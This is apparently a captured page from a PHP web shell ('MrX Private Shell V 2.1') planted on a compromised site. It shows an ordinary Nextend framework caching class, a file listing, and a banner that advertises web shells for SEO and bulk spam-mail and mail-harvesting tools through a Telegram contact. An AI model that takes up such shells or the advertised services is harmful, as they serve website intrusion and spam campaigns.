__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Nextend\Framework\Model;

class ApplicationSection {

    private $application = 'system';

    /**
     * Quick cache implementation to prevent duplicate queries. It might have bugs.
     *
     * @var array
     */
    protected $cache = array();

    public function __construct($application) {
        $this->application = $application;
    }

    public function getById($id, $section) {
        return Section::getById($id, $section);
    }

    public function setById($id, $value) {
        $this->cache = array();

        return Section::setById($id, $value);
    }

    public function get($section, $referenceKey = null, $default = null) {

        if (isset($this->cache[$section . '///' . $referenceKey])) {
            return $this->cache[$section . '///' . $referenceKey];
        }

        $attributes = array(
            "application" => $this->application,
            "section"     => $section
        );

        if ($referenceKey !== null) {
            $attributes['referencekey'] = $referenceKey;
        }
        $result = Section::$tableSectionStorage->findByAttributes($attributes);
        if (is_array($result)) {
            $this->cache[$section . '///' . $referenceKey] = $result['value'];

            return $result['value'];
        }

        return $default;
    }

    public function getAll($section, $referenceKey = null) {
        return Section::getAll($this->application, $section, $referenceKey);
    }

    public function set($section, $referenceKey, $value) {
        if (isset($this->cache[$section . '///' . $referenceKey])) {
            unset($this->cache[$section . '///' . $referenceKey]);
        }

        Section::set($this->application, $section, $referenceKey, $value);
    }

    public function add($section, $referenceKey, $value) {
        if (isset($this->cache[$section . '///' . $referenceKey])) {
            unset($this->cache[$section . '///' . $referenceKey]);
        }

        return Section::add($this->application, $section, $referenceKey, $value);
    }

    public function delete($section, $referenceKey = null) {
        if (isset($this->cache[$section . '///' . $referenceKey])) {
            unset($this->cache[$section . '///' . $referenceKey]);
        }

        return Section::delete($this->application, $section, $referenceKey);
    }

    public function deleteById($id) {
        return Section::deleteById($id);
    }
}

Filemanager

Name Type Size Permission Actions
AbstractModel.php File 395 B 0664
AbstractModelTable.php File 551 B 0664
ApplicationSection.php File 2.37 KB 0664
Section.php File 4.66 KB 0664
StorageSectionManager.php File 466 B 0664
Filemanager